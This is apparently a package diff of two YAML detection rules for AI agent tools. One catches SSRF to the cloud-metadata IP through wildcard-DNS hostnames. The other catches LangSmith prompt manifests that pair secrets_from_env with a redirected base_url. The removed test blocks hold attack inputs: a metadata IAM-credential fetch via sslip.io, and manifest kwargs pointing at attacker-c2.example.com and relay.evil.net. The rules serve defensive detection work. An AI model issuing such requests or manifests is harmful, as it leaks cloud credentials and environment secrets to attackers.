agent-threat-rules 4.0.0 → 4.2.0

package/rules/context-exfiltration/ATR-2026-02351-wildcard-dns-ssrf-hostname-ip-encoding-bypass.yaml

@@ -1,176 +1,84 @@
-title: "SSRF to Cloud Metadata Endpoint via Wildcard-DNS Hostname-Encoded IP (nip.io/sslip.io/xip.io/traefik.me)"
+title: SSRF to Cloud Metadata Endpoint via Wildcard-DNS Hostname-Encoded IP (nip.io/sslip.io/xip.io/traefik.me)
 id: ATR-2026-02351
 rule_version: 1
 status: experimental
-description: >
-  Detects a URL/hostname argument to a fetch-style agent tool that encodes
-  the well-known cloud-metadata address 169.254.169.254 (AWS IMDS / GCP /
-  Azure IMDS / DigitalOcean) directly into a wildcard-DNS hostname using a
-  public "resolve this hostname to the IP embedded in it" service (nip.io,
-  sslip.io, xip.io, traefik.me). These services legitimately let any
-  subdomain shaped like `<ip>.nip.io` (dots or dashes) resolve to that
-  literal IP, including an arbitrary leading label such as
-  `foo.<ip>.sslip.io`. An SSRF guard that syntactically checks only the
-  hostname string against a private-IP/hostname blocklist (without
-  performing DNS resolution) sees an unrecognised public-looking FQDN and
-  allows the request, which then resolves straight to the blocked metadata
-  address. Mined from GHSA-mrvx-jmjw-vggc (mcp-searxng's `web_url_read` MCP
-  tool: `assertUrlAllowed()` validates `url.hostname` as a string via
-  `isPrivateHostname()`/`isPrivateIpv4()`/`isPrivateIPv6()` but never
-  resolves DNS before `undiciFetch()` performs the real request, so a
-  wildcard-DNS domain that lexically looks public but resolves to a private
-  or metadata IP bypasses the check entirely). Generalized beyond
-  mcp-searxng to any fetch/browse/crawl MCP tool doing hostname-string-only
-  SSRF validation, and beyond the one incident's example service (nip.io) to
-  the broader family of equivalent wildcard-DNS-to-IP services.
-
-  DELIBERATELY NARROWED SCOPE (adversarial self-review finding): an earlier
-  draft of this rule also flagged RFC1918 private ranges (10.0.0.0/8,
-  172.16.0.0/12, 192.168.0.0/16) encoded the same way. Testing against
-  realistic developer content surfaced a real false-positive class --
-  `<private-ip>.nip.io` / `.sslip.io` is a widely documented, legitimate
-  pattern for local Kubernetes (minikube/kind), Vagrant, and Docker
-  dev-cluster TLS testing, e.g. "browse to 192.168.99.100.nip.io for a
-  valid cert." That pattern fired on ordinary devops documentation far more
-  often than on an actual attack. The cloud-metadata address
-  169.254.169.254 has no such legitimate local-development use -- nobody's
-  own machine is ever meant to answer at that address -- so this rule is
-  scoped to that one address family only. Detecting the RFC1918-range
-  variant of this bypass would need a lower-confidence, human-reviewed lane
-  or additional tool-context signal (e.g. "this is a fetch tool reaching
-  outside its declared allowlist"), which is future work, not this rule.
-author: "ATR Community (CVE sweep)"
-date: "2026/07/11"
-schema_version: "0.1"
+description: |
+  Detects a URL/hostname argument to a fetch-style agent tool that encodes the well-known cloud-metadata address 169.254.169.254 (AWS IMDS / GCP / Azure IMDS / DigitalOcean) directly into a wildcard-DNS hostname using a public "resolve this hostname to the IP embedded in it" service (nip.io, sslip.io, xip.io, traefik.me). These services legitimately let any subdomain shaped like `<ip>.nip.io` (dots or dashes) resolve to that literal IP, including an arbitrary leading label such as `foo.<ip>.sslip.io`. An SSRF guard that syntactically checks only the hostname string against a private-IP/hostname blocklist (without performing DNS resolution) sees an unrecognised public-looking FQDN and allows the request, which then resolves straight to the blocked metadata address. Mined from GHSA-mrvx-jmjw-vggc (mcp-searxng's `web_url_read` MCP tool: `assertUrlAllowed()` validates `url.hostname` as a string via `isPrivateHostname()`/`isPrivateIpv4()`/`isPrivateIPv6()` but never resolves DNS before `undiciFetch()` performs the real request, so a wildcard-DNS domain that lexically looks public but resolves to a private or metadata IP bypasses the check entirely). Generalized beyond mcp-searxng to any fetch/browse/crawl MCP tool doing hostname-string-only SSRF validation, and beyond the one incident's example service (nip.io) to the broader family of equivalent wildcard-DNS-to-IP services.
+  DELIBERATELY NARROWED SCOPE (adversarial self-review finding): an earlier draft of this rule also flagged RFC1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) encoded the same way. Testing against realistic developer content surfaced a real false-positive class -- `<private-ip>.nip.io` / `.sslip.io` is a widely documented, legitimate pattern for local Kubernetes (minikube/kind), Vagrant, and Docker dev-cluster TLS testing, e.g. "browse to 192.168.99.100.nip.io for a valid cert." That pattern fired on ordinary devops documentation far more often than on an actual attack. The cloud-metadata address 169.254.169.254 has no such legitimate local-development use -- nobody's own machine is ever meant to answer at that address -- so this rule is scoped to that one address family only. Detecting the RFC1918-range variant of this bypass would need a lower-confidence, human-reviewed lane or additional tool-context signal (e.g. "this is a fetch tool reaching outside its declared allowlist"), which is future work, not this rule.
+author: ATR Community (CVE sweep)
+date: 2026/07/11
+schema_version: '0.1'
 detection_tier: pattern
 maturity: experimental
 severity: high
-
 references:
   cwe:
-    - "CWE-918"
+    - CWE-918
   owasp_llm:
-    - "LLM08:2025"
+    - LLM08:2025
   owasp_agentic:
-    - "ASI02:2026"
+    - ASI02:2026
   mitre_attack:
-    - "T1090 - Proxy"
+    - T1090 - Proxy
   mitre_atlas:
-    - "AML.T0057 - LLM Data Leakage"
+    - AML.T0057 - LLM Data Leakage
   external:
-    - "https://github.com/advisories/GHSA-mrvx-jmjw-vggc"
-    - "https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-mrvx-jmjw-vggc"
-
+    - https://github.com/advisories/GHSA-mrvx-jmjw-vggc
+    - https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-mrvx-jmjw-vggc
 metadata_provenance:
   cwe: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
   mitre_attack: human-reviewed
   mitre_atlas: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness and cybersecurity) requires resistance to unauthorised access; this rule detects a wildcard-DNS hostname encoding the cloud-metadata IP, used to bypass a hostname-string-only SSRF guard on an agent fetch tool."
+    - article: '15'
+      context: Article 15 (accuracy, robustness and cybersecurity) requires resistance to unauthorised access; this rule detects a wildcard-DNS hostname encoding the cloud-metadata IP, used to bypass a hostname-string-only SSRF guard on an agent fetch tool.
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the wildcard-DNS SSRF-bypass risk class."
+    - article: '9'
+      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the wildcard-DNS SSRF-bypass risk class.
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MG.2.3"
-      context: "Treating wildcard-DNS-encoded metadata-SSRF targets as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation."
+    - subcategory: MG.2.3
+      context: Treating wildcard-DNS-encoded metadata-SSRF targets as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation.
       strength: primary
-    - subcategory: "MP.5.1"
-      context: "Identifying the wildcard-DNS hostname-encoding bypass technique as an AI risk to be catalogued in the organizational risk register."
+    - subcategory: MP.5.1
+      context: Identifying the wildcard-DNS hostname-encoding bypass technique as an AI risk to be catalogued in the organizational risk register.
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of wildcard-DNS SSRF bypass attempts."
+    - clause: '8.1'
+      context: ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of wildcard-DNS SSRF bypass attempts.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the bypass attempt."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the bypass attempt.
       strength: secondary
-
 tags:
   category: context-exfiltration
   subcategory: ssrf-wildcard-dns-hostname-encoding-bypass
   scan_target: both
   confidence: high
-
 agent_source:
   type: llm_io
   framework:
     - any
   provider:
     - any
-
 detection:
   condition: any
   conditions:
     - field: content
       operator: regex
-      value: '\b(?:[\w-]+\.){0,5}169[.-]254[.-]169[.-]254\.(?:nip\.io|sslip\.io|xip\.io|traefik\.me)\b'
-      description: "Wildcard-DNS hostname encoding the exact AWS/GCP/Azure/DigitalOcean cloud-metadata IP 169.254.169.254, with an optional cosmetic leading label (foo.<ip>.sslip.io is a supported form on these services). Deliberately limited to this one address -- see description for why RFC1918 private ranges are out of scope."
+      value: \b(?:[\w-]+\.){0,5}169[.-]254[.-]169[.-]254\.(?:nip\.io|sslip\.io|xip\.io|traefik\.me)\b
+      description: Wildcard-DNS hostname encoding the exact AWS/GCP/Azure/DigitalOcean cloud-metadata IP 169.254.169.254, with an optional cosmetic leading label (foo.<ip>.sslip.io is a supported form on these services). Deliberately limited to this one address -- see description for why RFC1918 private ranges are out of scope.
   false_positives:
-    - "A nip.io/sslip.io/xip.io/traefik.me hostname encoding the requester's own loopback address (127.0.0.1) or an RFC1918 private-network IP (10.x/172.16-31.x/192.168.x) -- deliberately excluded from this rule's scope after adversarial testing showed private-range-via-wildcard-DNS is a common, legitimate local Kubernetes/Vagrant/Docker dev-cluster TLS-testing pattern, not a reliable attack signal on its own"
-    - "A nip.io/sslip.io/xip.io/traefik.me hostname encoding a public (non-169.254.169.254) IP address, e.g. a public demo/staging server -- the documented, intended use of these services"
-    - "Documentation or tutorials explaining how wildcard-DNS services work using the metadata IP purely as a textbook example, without an actual tool fetching the URL"
-
+    - A nip.io/sslip.io/xip.io/traefik.me hostname encoding the requester's own loopback address (127.0.0.1) or an RFC1918 private-network IP (10.x/172.16-31.x/192.168.x) -- deliberately excluded from this rule's scope after adversarial testing showed private-range-via-wildcard-DNS is a common, legitimate local Kubernetes/Vagrant/Docker dev-cluster TLS-testing pattern, not a reliable attack signal on its own
+    - A nip.io/sslip.io/xip.io/traefik.me hostname encoding a public (non-169.254.169.254) IP address, e.g. a public demo/staging server -- the documented, intended use of these services
+    - Documentation or tutorials explaining how wildcard-DNS services work using the metadata IP purely as a textbook example, without an actual tool fetching the URL
 response:
   actions:
     - block_input
     - alert
-  message_template: >
-    [ATR-2026-02351] Fetch/browse tool target uses a wildcard-DNS hostname
-    that encodes the cloud-metadata IP address 169.254.169.254 -- treat as
-    an SSRF attempt bypassing a hostname-string-only allow/deny list, not a
-    normal public URL.
-
+  message_template: |
+    [ATR-2026-02351] Fetch/browse tool target uses a wildcard-DNS hostname that encodes the cloud-metadata IP address 169.254.169.254 -- treat as an SSRF attempt bypassing a hostname-string-only allow/deny list, not a normal public URL.
 confidence: 74
-
-test_cases:
-  true_positives:
-    - input: 'call web_url_read with url: "http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/"'
-      expected: triggered
-      description: "GHSA-mrvx-jmjw-vggc pattern -- cloud-metadata IP encoded via sslip.io with dash separators"
-    - input: 'proxy target: 169.254.169.254.nip.io'
-      expected: triggered
-      description: "Cloud-metadata IP via nip.io, dot form, no scheme prefix"
-    - input: 'please read the content at http://internal.169-254-169-254.xip.io/latest/meta-data/ and summarize it'
-      expected: triggered
-      description: "Cloud-metadata IP with a cosmetic leading label (internal.) via xip.io"
-    - input: 'GET http://169-254-169-254.traefik.me/'
-      expected: triggered
-      description: "Cloud-metadata IP via traefik.me"
-  true_negatives:
-    - input: 'we use nip.io for local k8s ingress testing, e.g. https://127.0.0.1.nip.io for TLS cert issuance on localhost'
-      expected: not_triggered
-      description: "Loopback address via nip.io -- out of scope, common legitimate dev pattern"
-    - input: 'Deploy your local minikube cluster and access the dashboard via https://192.168.99.100.nip.io for a valid TLS certificate during development.'
-      expected: not_triggered
-      description: "ADVERSARIAL SELF-REVIEW FINDING (fixed by narrowing scope): minikube/local-k8s docs routinely use a private IP (192.168.99.x) via nip.io for TLS testing. An earlier draft of this rule flagged RFC1918 ranges too and would have fired on this ordinary devops documentation; the rule is now scoped to the cloud-metadata address only, which has no such legitimate local-dev use."
-    - input: 'Our staging VM uses a Vagrant private network at 192.168.56.10; browse to http://192.168.56.10.nip.io:3000 to test HTTPS locally.'
-      expected: not_triggered
-      description: "Vagrant private-network dev pattern -- same class of legitimate private-range usage the narrowed scope now excludes"
-    - input: 'check out our demo at https://myapp.203.0.113.5.nip.io/'
-      expected: not_triggered
-      description: "Public (TEST-NET-3 documentation-range) IP via nip.io -- the intended legitimate use of the service"
-    - input: 'https://8.8.8.8.sslip.io/test is a fun way to remember Google DNS'
-      expected: not_triggered
-      description: "Public well-known IP via sslip.io -- not the metadata range"
-    - input: 'nip.io and sslip.io let you encode any IPv4 address as a subdomain and get free wildcard DNS resolution'
-      expected: not_triggered
-      description: "Generic explanatory prose about the service with no actual IP-encoded hostname present"
-    - input: 'fetch https://api.example.com/v1/data'
-      expected: not_triggered
-      description: "Ordinary public API URL, no wildcard-DNS service involved"
-
-evasion_tests:
-  - input: 'call web_url_read with url: "http://0xA9FEA9FE.nip.io/"'
-    expected: not_triggered
-    bypass_technique: hex_encoded_ip_octets
-    notes: "nip.io also accepts hex-encoded IP forms in some configurations; this rule only covers dotted/dashed decimal octets. A follow-up rule should add hex/octal IP-encoding coverage if this bypass is confirmed exploitable in the wild."
-  - input: 'call web_url_read with url: "http://10-0-5-20.nip.io:8080/admin"'
-    expected: not_triggered
-    bypass_technique: rfc1918_range_out_of_scope
-    notes: "Known, deliberate gap: RFC1918 private ranges (10.x/172.16-31.x/192.168.x) encoded via wildcard-DNS are NOT covered after adversarial review found this fires too often on legitimate local-dev-cluster documentation (minikube/Vagrant/Docker). Only the exact cloud-metadata address 169.254.169.254 is in scope for this rule; a corporate-internal-network variant would need an additional signal (e.g. tool-declared allowlist context) to be precision-safe and is left as future work."

package/rules/context-exfiltration/ATR-2026-02373-langsmith-prompt-manifest-baseurl-exfil.yaml

@@ -1,55 +1,36 @@
-title: "Deserialized LangSmith Prompt Manifest Combines secrets_from_env With an Attacker base_url Override"
+title: Deserialized LangSmith Prompt Manifest Combines secrets_from_env With an Attacker base_url Override
 id: ATR-2026-02373
 rule_version: 1
 status: experimental
-description: >
-  Detects two variants of the LangSmith SDK public-prompt trust-boundary
-  bypass: (1) a pull_prompt/pullPrompt(_commit) call against a public
-  owner/name prompt identifier combined with the explicit
-  dangerously_pull_public_prompt / dangerouslyPullPublicPrompt override
-  flag, and (2) a deserialized prompt-manifest constructor whose kwargs
-  combine secrets_from_env=true (reads environment variables at
-  deserialization time) with an LLM-client base_url/openai_api_base/
-  azure_endpoint override pointing at an http(s) endpoint. Mined from
-  GHSA-3644-q5cj-c5c7 (CVE-2026-45134, langsmith-sdk): prompt manifests
-  pulled from LangSmith Hub by owner/name are external-party-controlled
-  and are deserialized as executable configuration, not inert text -- a
-  malicious manifest can redirect the LLM client's outbound traffic
-  (including system prompts, retrieved context, and provider credentials)
-  to an attacker-controlled base_url, and secrets_from_env additionally
-  lets the manifest read environment variables during deserialization.
-  Generalized beyond langsmith-sdk to any prompt/config-hub client that
-  deserializes a remotely-fetched manifest into LLM client constructor
-  arguments.
-author: "ATR Community (CVE sweep)"
-date: "2026/07/11"
-schema_version: "0.1"
+description: |
+  Detects two variants of the LangSmith SDK public-prompt trust-boundary bypass: (1) a pull_prompt/pullPrompt(_commit) call against a public owner/name prompt identifier combined with the explicit dangerously_pull_public_prompt / dangerouslyPullPublicPrompt override flag, and (2) a deserialized prompt-manifest constructor whose kwargs combine secrets_from_env=true (reads environment variables at deserialization time) with an LLM-client base_url/openai_api_base/ azure_endpoint override pointing at an http(s) endpoint. Mined from GHSA-3644-q5cj-c5c7 (CVE-2026-45134, langsmith-sdk): prompt manifests pulled from LangSmith Hub by owner/name are external-party-controlled and are deserialized as executable configuration, not inert text -- a malicious manifest can redirect the LLM client's outbound traffic (including system prompts, retrieved context, and provider credentials) to an attacker-controlled base_url, and secrets_from_env additionally lets the manifest read environment variables during deserialization. Generalized beyond langsmith-sdk to any prompt/config-hub client that deserializes a remotely-fetched manifest into LLM client constructor arguments.
+author: ATR Community (CVE sweep)
+date: 2026/07/11
+schema_version: '0.1'
 detection_tier: pattern
 maturity: experimental
 severity: high
-
 references:
   cve:
-    - "CVE-2026-45134"
+    - CVE-2026-45134
   ghsa:
-    - "GHSA-3644-q5cj-c5c7"
+    - GHSA-3644-q5cj-c5c7
   cwe:
-    - "CWE-502"
-    - "CWE-918"
+    - CWE-502
+    - CWE-918
   owasp_llm:
-    - "LLM02:2025"
-    - "LLM05:2025"
+    - LLM02:2025
+    - LLM05:2025
   owasp_agentic:
-    - "ASI04:2026"
-    - "ASI06:2026"
+    - ASI04:2026
+    - ASI06:2026
   mitre_attack:
-    - "T1090 - Proxy"
+    - T1090 - Proxy
   mitre_atlas:
-    - "AML.T0057 - LLM Data Leakage"
+    - AML.T0057 - LLM Data Leakage
   external:
-    - "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7"
-    - "https://github.com/advisories/GHSA-3644-q5cj-c5c7"
-
+    - https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7
+    - https://github.com/advisories/GHSA-3644-q5cj-c5c7
 metadata_provenance:
   cve: human-reviewed
   ghsa: human-reviewed
@@ -58,110 +39,63 @@ metadata_provenance:
   owasp_agentic: human-reviewed
   mitre_attack: human-reviewed
   mitre_atlas: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "Article 15 (accuracy, robustness and cybersecurity) requires resistance to third parties altering system behaviour through vulnerability exploitation; this rule detects a deserialized prompt manifest redirecting LLM traffic and reading environment secrets."
+    - article: '15'
+      context: Article 15 (accuracy, robustness and cybersecurity) requires resistance to third parties altering system behaviour through vulnerability exploitation; this rule detects a deserialized prompt manifest redirecting LLM traffic and reading environment secrets.
       strength: primary
-    - article: "9"
-      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the prompt-hub deserialization risk class."
+    - article: '9'
+      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control for the prompt-hub deserialization risk class.
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MG.2.3"
-      context: "Treating prompt-manifest deserialization abuse as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation."
+    - subcategory: MG.2.3
+      context: Treating prompt-manifest deserialization abuse as an identified AI risk requires active runtime countermeasures; this detection rule is the primary risk treatment implementation.
       strength: primary
-    - subcategory: "MP.5.1"
-      context: "Identifying the prompt-hub deserialization / base_url-redirect pattern as an AI risk to be catalogued in the organizational risk register."
+    - subcategory: MP.5.1
+      context: Identifying the prompt-hub deserialization / base_url-redirect pattern as an AI risk to be catalogued in the organizational risk register.
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of malicious prompt-manifest deserialization."
+    - clause: '8.1'
+      context: ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by this rule's detection of malicious prompt-manifest deserialization.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the credential/context exfiltration attempt."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is implemented via this rule's runtime detection of the credential/context exfiltration attempt.
       strength: secondary
-
 tags:
   category: context-exfiltration
   subcategory: prompt-hub-deserialization-baseurl-redirect
   scan_target: mcp
   confidence: high
-
 agent_source:
   type: mcp_exchange
   framework:
     - any
   provider:
     - any
-
 detection:
   condition: any
   conditions:
     - field: content
       operator: regex
-      value: '(?i)\b(?:pull_prompt|pullPrompt)(?:_commit|Commit)?\s*\(\s*["''][\w.\-]+/[\w.\-]+["''][\s\S]{0,40}(?:dangerously_pull_public_prompt|dangerouslyPullPublicPrompt)\s*[=:]\s*true'
-      description: "pull_prompt/pullPrompt call against a public owner/name identifier with the trust-boundary override flag explicitly set -- CVE-2026-45134 opt-in to the risky path"
+      value: (?i)\b(?:pull_prompt|pullPrompt)(?:_commit|Commit)?\s*\(\s*["'][\w.\-]+/[\w.\-]+["'][\s\S]{0,40}(?:dangerously_pull_public_prompt|dangerouslyPullPublicPrompt)\s*[=:]\s*true
+      description: pull_prompt/pullPrompt call against a public owner/name identifier with the trust-boundary override flag explicitly set -- CVE-2026-45134 opt-in to the risky path
     - field: content
       operator: regex
-      value: '(?i)"secrets_from_env"\s*:\s*true[\s\S]{0,40}"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"'
-      description: "Deserialized prompt-manifest kwargs combine secrets_from_env with an LLM-client base_url override to a non-major-cloud, non-internal-looking domain -- CVE-2026-45134 credential-exfil + traffic-redirect primitive"
+      value: (?i)"secrets_from_env"\s*:\s*true[\s\S]{0,40}"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"
+      description: Deserialized prompt-manifest kwargs combine secrets_from_env with an LLM-client base_url override to a non-major-cloud, non-internal-looking domain -- CVE-2026-45134 credential-exfil + traffic-redirect primitive
     - field: content
       operator: regex
-      value: '(?i)"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"[\s\S]{0,40}"secrets_from_env"\s*:\s*true'
-      description: "Same combination, base_url override appearing before secrets_from_env in the serialized manifest"
+      value: (?i)"(?:base_url|openai_api_base|azure_endpoint)"\s*:\s*"https?://(?![^"]{0,60}\.(?:azure\.com|amazonaws\.com|googleapis\.com|openai\.com|anthropic\.com)\b|[^"]{0,60}\b(?:internal|corp|local)\b|localhost|127\.0\.0\.1|10\.\d{1,3}\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)[^"]{0,80}"[\s\S]{0,40}"secrets_from_env"\s*:\s*true
+      description: Same combination, base_url override appearing before secrets_from_env in the serialized manifest
   false_positives:
-    - "A pull_prompt/pullPrompt call against a public owner/name identifier WITHOUT the dangerously_pull_public_prompt override flag -- the SDK's default-safe path rejects this, so it is not exploitable and not flagged"
-    - "A deserialized manifest setting secrets_from_env=true alone, or base_url alone, without the other -- each individually has legitimate uses (e.g. a trusted same-org prompt configuring a private Azure endpoint); only the combination that both reads env secrets AND redirects the endpoint is flagged"
-    - "Documentation or a security advisory discussing the CVE-2026-45134 parameter names without an actual manifest or tool call setting them"
-    - "secrets_from_env combined with a base_url/openai_api_base/azure_endpoint pointing at a recognized major-cloud LLM domain (*.azure.com, *.amazonaws.com, *.googleapis.com, *.openai.com, *.anthropic.com) or an internal/corp/local/private-IP endpoint -- ADVERSARIALLY CONFIRMED as real false positives during review (a company's own Azure OpenAI deployment, and a self-hosted internal LiteLLM proxy); fixed with a negative-lookahead domain allowlist. Residual risk: an attacker-registered domain containing 'internal'/'corp'/'local' as a substring could evade this exclusion -- treated as an accepted precision/recall tradeoff for a pattern-tier rule"
-
+    - A pull_prompt/pullPrompt call against a public owner/name identifier WITHOUT the dangerously_pull_public_prompt override flag -- the SDK's default-safe path rejects this, so it is not exploitable and not flagged
+    - A deserialized manifest setting secrets_from_env=true alone, or base_url alone, without the other -- each individually has legitimate uses (e.g. a trusted same-org prompt configuring a private Azure endpoint); only the combination that both reads env secrets AND redirects the endpoint is flagged
+    - Documentation or a security advisory discussing the CVE-2026-45134 parameter names without an actual manifest or tool call setting them
+    - 'secrets_from_env combined with a base_url/openai_api_base/azure_endpoint pointing at a recognized major-cloud LLM domain (*.azure.com, *.amazonaws.com, *.googleapis.com, *.openai.com, *.anthropic.com) or an internal/corp/local/private-IP endpoint -- ADVERSARIALLY CONFIRMED as real false positives during review (a company''s own Azure OpenAI deployment, and a self-hosted internal LiteLLM proxy); fixed with a negative-lookahead domain allowlist. Residual risk: an attacker-registered domain containing ''internal''/''corp''/''local'' as a substring could evade this exclusion -- treated as an accepted precision/recall tradeoff for a pattern-tier rule'
 response:
   actions:
     - block_input
     - alert
-  message_template: >
-    [ATR-2026-02373] Deserialized prompt manifest combines secrets_from_env
-    with an LLM-client base_url override, or pulls a public prompt with the
-    trust-boundary override explicitly set -- treat as an attempt to
-    redirect LLM traffic and exfiltrate environment secrets, not a normal
-    prompt pull.
-
+  message_template: |
+    [ATR-2026-02373] Deserialized prompt manifest combines secrets_from_env with an LLM-client base_url override, or pulls a public prompt with the trust-boundary override explicitly set -- treat as an attempt to redirect LLM traffic and exfiltrate environment secrets, not a normal prompt pull.
 confidence: 78
-
-test_cases:
-  true_positives:
-    - input: 'pull_prompt("randomhandle/free-prompt", dangerously_pull_public_prompt=True)'
-      expected: triggered
-      description: "CVE-2026-45134 pattern - public owner/name prompt pull with the trust-boundary override explicitly set"
-    - input: 'pullPromptCommit("attacker-handle/commit-abc", dangerouslyPullPublicPrompt: true)'
-      expected: triggered
-      description: "JS/TS variant with pullPromptCommit and camelCase flag"
-    - input: 'manifest kwargs: {"secrets_from_env": true, "base_url": "http://attacker-c2.example.com/v1"}'
-      expected: triggered
-      description: "Deserialized manifest combining secrets_from_env with an attacker base_url"
-    - input: 'constructor kwargs {"openai_api_base": "https://relay.evil.net/v1", "secrets_from_env": true}'
-      expected: triggered
-      description: "Reversed field order, different base_url key name (openai_api_base)"
-  true_negatives:
-    - input: 'pull_prompt("my-team/internal-prompt")'
-      expected: not_triggered
-      description: "Ordinary same-org prompt pull by name only, no owner/ prefix, no override flag"
-    - input: 'pull_prompt("randomhandle/free-prompt")'
-      expected: not_triggered
-      description: "Public prompt pull without the dangerously_pull_public_prompt override -- SDK default rejects this path, not exploitable"
-    - input: 'manifest kwargs: {"base_url": "https://api.openai.com/v1"}'
-      expected: not_triggered
-      description: "base_url alone pointing at the legitimate provider endpoint, no secrets_from_env"
-    - input: 'manifest kwargs: {"secrets_from_env": true, "azure_endpoint": "https://my-company.openai.azure.com/"}'
-      expected: not_triggered
-      description: "ADVERSARIAL: legitimate company-owned Azure OpenAI deployment -- found as a real false positive during adversarial self-review; fixed with a major-cloud-domain negative-lookahead allowlist"
-    - input: 'our internal config sets base_url to our self-hosted LiteLLM proxy: {"base_url": "https://litellm.internal.corp.com/v1", "secrets_from_env": true}'
-      expected: not_triggered
-      description: "ADVERSARIAL: legitimate self-hosted internal LiteLLM proxy endpoint -- found as a real false positive during adversarial self-review; fixed with an internal/corp/local negative-lookahead allowlist"
-    - input: 'manifest kwargs: {"secrets_from_env": true}'
-      expected: not_triggered
-      description: "secrets_from_env alone for a trusted same-org prompt, no base_url override present"
-    - input: "CVE-2026-45134 affects pull_prompt calls that pass dangerously_pull_public_prompt=True against untrusted owner/name prompts, per the advisory."
-      expected: not_triggered
-      description: "Documentation/advisory prose describing the vulnerability, no actual call or manifest present"